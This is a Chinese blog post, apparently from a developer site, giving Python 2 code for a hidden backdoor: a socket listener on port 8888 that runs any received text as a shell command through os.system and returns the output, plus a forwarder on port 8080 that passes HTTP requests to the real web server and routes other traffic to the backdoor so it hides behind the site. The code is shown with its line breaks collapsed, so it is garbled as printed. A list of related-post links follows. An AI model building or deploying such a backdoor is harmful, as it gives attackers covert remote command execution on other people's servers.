python基于socket进行端口转发实现后门隐藏
python基于socket进行端口转发实现后门隐藏
思想:
用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。
8888端口监听代码:
#!/usr/bin/env python
from socket import *
import osHOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)while True:print("waiting for connection...")tcpCliSock,addr = tcpSerSock.accept()print("...connected from:",addr)while True:data=tcpCliSock.recv(BUFSIZE)if not data:breakinfo = data.split('\n')command = info[0]try:os.system(command + " > command.txt");file = open('command.txt')data =""for line in file:data=data+line;tcpCliSock.send(data)except Exception:tcpCliSock.send("Nothing to do")tcpCliSock.close()
tcpSerSock.close()
8080端口转发代码:
#!/usr/bin/python
from socket import *tcp1 = socket(AF_INET,SOCK_STREAM)tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:data = tcpCliSock.recv(BUFFER_SIZE)if 'HTTP' in data:tcp3 = socket(AF_INET,SOCK_STREAM)tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)tcp3.connect(('127.0.0.1',80))tcp3.send(data)htmlinfo = tcp3.recv(2048)if not htmlinfo:tcp3.close()else:tcpCliSock.send(htmlinfo)else:tcp2 = socket(AF_INET,SOCK_STREAM)tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)tcp2.connect(('127.0.0.1',8888))data = data.replace("\n"," ")print datatcp2.send(data)commandinfo = tcp2.recv(1024)tcpCliSock.send(commandinfo)tcp2.close()
tcpCliSock.close()
tcp1.close()
有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。
python基于socket进行端口转发实现后门隐藏相关推荐
- python中用socket检测端口_python基于socket函数实现端口扫描
本文实例为大家分享了python基于socket实现端口扫描的具体代码,供大家参考,具体内容如下 自学Python一段时间,写个端口扫描器练练手.有什么不足之处,请见谅 这是基于socket函数对端口 ...
- 基于python的tcp的端口转发程序
基于python的socket套接字,对tcp数据包进行转发 import socket def main():s = socket.socket()# 本机ip地址和接收端口host = '10.1 ...
- linux端口转发到windows,Linux及Windows基于工具的端口转发
Linux及Windows基于工具和命令的端口转发配置 wget http://www.boutell.com/rinetd/http/rinetd.tar.gz&&tar -xvf ...
- Python基于socket实现的TCP服务端
''' 基于socket实现的TCP服务端 '''import socket # 建立socket对象 server_socket=socket.socket(socket.AF_INET,socke ...
- Python基于socket实现的TCP客户端
''' 基于socket实现的TCP客户端 '''import socket# 建立socket对象 # 参数一表示IP地址类型(AF_INET为IPV4,AF_INET6为IPV6),参数二表示连接 ...
- Python基于socket实现的多任务版TCP服务端
''' 基于socket实现的多任务版TCP服务端 ''' import socket import threadingdef client_task(client_socket,ip_port):p ...
- Python 基于 Socket 实现群聊
互联网时代,怎么能不懂点网络编程?套接字(Sockets)是双向通信信道的端点,本文详细介绍了使用Socket实现类似微信群聊的功能,快进来一起学习下吧! 1.前言 套接字(Sockets)是双向通信 ...
- 使用python基于socket的tcp服务器聊天室
# coding=utf-8 import socket,threading,time '''代码说明:1.创建一个字典用于接受客户端的用户名和信息2.创建一个类对象client用于编写客户端套接字对 ...
- Python基于Socket实现群聊
作者:huny https://www.cnblogs.com/huny/p/14051152.html 1. 前言 套接字(Sockets)是双向通信信道的端点.套接字可以在一个进程内,在同一机器上 ...
最新文章
- js在线压缩工具 支持Base62 encode 和 Shrink variables
- DDD:群里关于验证的结论
- git 获取远程分支到本地_如何将git本地仓库上传到远程仓库?
- JSP response request 中文乱码
- gdb调试命令的使用及总结
- vscode使用php调试
- java swing 模拟发牌_用java设计一个发牌程序
- 清华大学开始招收高二学生,数学天赋是最重要的入围条件
- oracle 中表变量的用法,oracle 表类型变量的使用
- Bailian4102 宠物小精灵之收服【模拟】
- 异常连接导致的内存泄漏排查
- 新代系统PLC编程软件 新代PLC编程软件中文版梯形图
- PTA 7-6 2048游戏模拟(1)--单行向左移动叠加
- WizTree v4.03 最快的磁盘空间分析工具中文便携版
- Android 基础篇之环境配置
- 调用国家气象局天气接口
- 电气成套设备远程监控应用
- 如何将eps/wind数据库里的数据变为stata要求的面板数据以及报错处理\改变数据类型(recast)
- python爬取豆瓣电影top250并保存为xlsx_python 爬虫获取豆瓣电影排行榜前250并写入excel...
- 2020年精彩文章回顾
热门文章
- 虎牙发布直播行业首个技术开放平台 三年十亿打造开放生态
- 深圳软件测试培训:测试中常见移动端基础知识
- xp访问win10计算机名,win10共享打印机给xp凭证问题_xp连接win10打印机凭证不足解决方法...
- 如何做软件项目的需求分析....
- MySQL行转列函数
- Camera2倒计时拍摄和闪光灯
- 华硕W519L(win10系统)安装黑苹果全过程(几乎完美,已洗白)
- 基于ODBC的MFC与sql_server2008r2连接教程和错误解决方法
- java中的for语句格式_Java中foreach循环语句的格式可以写成( )。
- Pandas数据处理误区要知其然知其所以然